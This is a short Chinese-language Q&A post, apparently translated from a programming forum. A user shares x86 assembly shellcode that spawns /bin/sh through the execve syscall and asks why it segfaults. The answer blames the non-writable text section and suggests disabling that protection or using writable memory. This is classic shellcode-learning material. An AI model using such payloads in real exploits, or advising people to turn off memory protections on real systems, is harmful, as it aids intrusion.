我正在尝试使用以下代码生成shell:
Section .Text
global _start
_start:
jmp short TrickCall
_ReturnHere:
pop esi
xor eax,eax
mov byte [esi+7],al
lea ebx,[esi]
mov long [esi+8],ebx
mov long [esi+12],eax
mov byte al,0x0b
mov ebx,esi
lea ecx,[esi+8]
lea edx,[esi+12]
int 0x80
TrickCall:
call _ReturnHere
db "/bin/shJAAAANNNN"
我使用gcc版本4.4.3作为我的编译器。当我使用gdb运行它时,它提供以下输出:
(gdb) run
Starting program: /root/spawn_shell
Program received signal SIGSEGV, Segmentation fault.
0x08048059 in _ReturnHere ()
无法访问_ReturnHere的内存地址。有办法解决这个问题吗?
答案 0 :(得分:1)
你的问题是DEP,当你从堆栈中弹出返回地址并尝试写入它时,它没有被标记为可写,只有可读&可执行文件。您需要禁用DEP(错误,它意味着防止执行此类操作的漏洞利用)或将文本放在call _ReturnHere
之后放入RW(X)内存。